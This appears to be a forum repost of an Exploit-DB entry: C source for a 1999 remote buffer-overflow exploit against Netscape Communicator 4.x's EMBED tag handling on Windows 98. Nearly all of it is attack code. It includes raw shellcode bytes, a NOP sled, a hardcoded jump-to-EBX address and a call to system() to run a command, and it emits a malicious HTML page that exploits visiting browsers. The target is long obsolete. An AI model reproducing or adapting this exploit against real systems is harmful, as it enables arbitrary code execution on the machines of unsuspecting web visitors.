Exploit Netscape Communicator 4.06/4.5/4.6/4.51/4.61 - EMBED Buffer Overflow

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
19486
Проверка EDB
  1. Пройдено
Автор
R00T ZER0
Тип уязвимости
REMOTE
Платформа
WINDOWS
CVE
cve-1999-0685
Дата публикации
1999-09-02
Netscape Communicator 4.06/4.5/4.6/4.51/4.61 - EMBED Buffer Overflow
C:
/*
source: https://www.securityfocus.com/bid/618/info

In several versions of Netscape Communicator, there is an unchecked buffer in the code that handles EMBED tags. The buffer is in the 'plugins page' option. This vulnerability can be exploited by a malicious webpage. 
*/

/************************************************************************/
/*Netscape communicator 4.06J - 4.6J, 4.61e Exploit for Windows98*/
/**/
/*written by R00t Zer0([email protected])*/
/**/
/*  DEF CON ZERO( http://www.ugtop.com/defcon0/index.htm)*/
/************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>

#defineSTACK_LEN( 2135 )
#defineEMBED_TYPE_LEN( 150 )
#defineXPT_HDL_OFFSET( 588 )
#defineJMPS_OFFSET( 6 )
#defineJMP_EBX_ADDR( 0xbff7a06b )
#defineINT01H_ADDR( 0xbff73d30 )
#defineNOP_CODE( 0x90 )
#defineJMPS_CODE( 0xeb )
#defineFUNCTION"msvcrt.dll.system.exit."
#defineCOMMAND"welcome.exe"
#defineCMDLENP( 65 )


int
main( void )
{
  u_char win98_exec_code[100] = {
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,
0xF7,0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,0x83,0xC3,0x06,
0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
0xF8,0x43,0x53,0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,0x33,0xC0,0x50,
0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,0xFF,0x00 };
  
  u_charexploit_code[ STACK_LEN ];
  u_charembed_type[ EMBED_TYPE_LEN ];
  u_longip;
  intloop;
  
  srand( ( u_int )time( 0 ) );
  
  bzero( exploit_code, sizeof( exploit_code ) );
  for( loop = 0; loop < XPT_HDL_OFFSET; loop++ )
    exploit_code [loop ] = NOP_CODE;
  
  /* make exploit code */
  ip = JMP_EBX_ADDR;
  exploit_code[ XPT_HDL_OFFSET - 4 ] = JMPS_CODE;
  exploit_code[ XPT_HDL_OFFSET - 3 ] = JMPS_OFFSET;
  exploit_code[ XPT_HDL_OFFSET + 3 ] = ( char)( 0xff & ( ip >> 24 ) );
  exploit_code[ XPT_HDL_OFFSET + 2 ] = ( char)( 0xff & ( ip >> 16 ) );
  exploit_code[ XPT_HDL_OFFSET + 1 ] = ( char)( 0xff & ( ip >> 8  ) );
  exploit_code[ XPT_HDL_OFFSET + 0 ] = ( char)( 0xff & ( ip >> 0  ) );
  
  win98_exec_code[ CMDLENP ] = strlen( COMMAND );
  strcat( exploit_code, win98_exec_code );
  strcat( exploit_code, FUNCTION );
  strcat( exploit_code, COMMAND );
  
  
  /* set random type */
  for( loop = 0; loop < EMBED_TYPE_LEN; loop++ )
    embed_type[ loop ] = 0x23 + ( rand() % 93 );
  
  /* print html */
  printf( "Content-type: text/html\n\n" );
  printf( "<HTML>\n" );
  printf( "<HEAD>\n" );
  printf( "<TITLE>Netscape communicator 4.x Exploit!!</TITLE>\n" );
  printf( "</HEAD>\n" );
  printf( "<BODY>\n" );
  
  printf( "<EMBED SRC=\"FreeUNYUN!\" PLUGINSPAGE=\"%s\" ", exploit_code );
  printf( "TYPE=\"%s\" WIDTH=\"1500\" HEIGHT=\"1000\">\n", embed_type  );
  printf( "</EMBED>\n</BODY>\n</HTML>\n" );
  
  return( 0 );
}
 
Источник
www.exploit-db.com

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